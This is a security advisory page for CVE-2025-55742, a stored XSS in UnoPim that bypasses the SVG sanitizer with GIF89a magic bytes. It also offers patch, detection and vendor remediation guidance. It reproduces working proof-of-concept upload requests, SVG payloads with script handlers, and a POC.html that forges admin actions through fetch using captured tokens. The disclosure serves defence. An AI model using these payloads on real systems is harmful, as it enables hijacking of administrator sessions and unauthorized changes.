CVE-2025-55742 is a high-severity (CVSS 8) Cross-site Scripting (XSS) vulnerability in unopim/unopim. A fix is available for unopim/unopim — see the affected versions and patch details below.
UnoPim Stored XSS via SVG MIME/Sanitizer Bypass
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-55742.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2025-55742 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
unopim/unopimReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Affected Functionality: User creation
Endpoint: /admin/settings/users/create
Details
https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19 See the mimetype is checked for validation. Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.
File containing <svg> is considered as svg and is sanitized:
Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(5)">
<rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
<text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>
Sanitization bypass using MIME type manipulation:
Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml
GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(5)">
<rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
<text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>
PoC
Upload POC.html as image.
File content:
GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(document.cookie)">
<rect width="200" height="200" fill="#3498db" onmouseover="alert(document.domain)"></rect>
<text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>
I changed extension to .html because even though POC.svg successfully bypassed the sanitization.
When accessing the URL, the page didn't render as it should starts with <.
Since html doesn't have any such limitation we can access it.
Access the image URL to see the XSS popup.
Impact
Suppose another admin visits the image link, the attacker can perform any operation as the victim. The session cookie is marked as http-only that disallow fetching cookies using javascript which is good thing. ( this prevent exfiltrating the cookie but still an attacker can perform any action behalf of the victim )
Example
create a product behalf of victim.
John doe (default admin ) creates another admin ( [email protected] )
When the victim-admin logs in and access the endpoint containing stored XSS, the script runs on behalf of victm-admin and the product is created.
// info shows that victim-admin created the product. Since this image can be accessed by other admins, it can be performed behalf on any admin. It'll be recorded as done by whoever visited the link.
Please see the detailed POC video for more details:
https://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2
Extended POC for performing the action shown in video: POC.html:
<html>
<script>
const url = 'http://localhost:8000/admin/catalog/products/create';
// Create a FormData object to hold the form data
const formData = new FormData();
formData.append('type', 'simple');
formData.append('attribute_family_id', '1');
formData.append('sku', 'Created-by-ADMIN-VICTIM888');
// Define the headers
const headers = {
'X-XSRF-TOKEN': 'eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0=',
'X-Requested-With': 'XMLHttpRequest',
'Accept': 'application/json, text/plain, */*',
'Origin': 'http://localhost:8000',
'Referer': 'http://localhost:8000/admin/catalog/products',
'Cookie': 'XSRF-TOKEN=eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0%3D; unopim_session=eyJpdiI6Ii9MTnNiMEJhNnZGZWVGaGQvbWdkUkE9PSIsInZhbHVlIjoiczJnZmczekRrTHMzN1phc1lmM1I0K1BkRGhRK3llOCtLcnpXODUwQnNrMWJUK29ab2Z0TDdYOUJaa3hxSGFsRzRpK1o0bGFTcTJ1N3J4QkhaYmxNRGdNNnpLUDFnYXl3QzdLNDJCQWRqbExnZ1dURGlyZW5UTWdycWlLQkFRc0oiLCJtYWMiOiJiNjNiZmM0ZjUxMTNlOTZmZGFiNzcxYzRkZDAwYTE3MGM5OTcxNWUyYTYzYjQ4ZGY5ZDkzYTdiZDJlNjUyNWQwIiwidGFnIjoiIn0%3D'
};
// Send the POST request
fetch(url, {
method: 'POST',
headers: headers,
body: formData,
credentials: 'include' // Include cookies in the request
})
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok ' + response.statusText);
}
return response.json(); // Assuming the response is JSON
})
.then(data => {
console.log('Success:', data);
})
.catch(error => {
console.error('Error:', error);
});
</script>
<html>
// make sure to update the cookies and CSRF tokens in the script to the attacker's.
Recommendation: Check file extension: whitelist allowed extensions. Check mime type matches with file extension ( in this case GIF89 ( mime type GIF ) and extension: svg. They are not matching so reject it. Check file extension ( endswith .svg ) and if it is svg then perform the sanitization that is in place.
Affected Version: 0.1.6
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | unopim/unopim | all versions | 0.2.1composer require unopim/unopim:^0.2.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for unopim/unopim, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update unopim/unopim to 0.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-55742 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-55742 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-55742. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-55742 in your dependencies?
O3 Security finds CVE-2025-55742 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.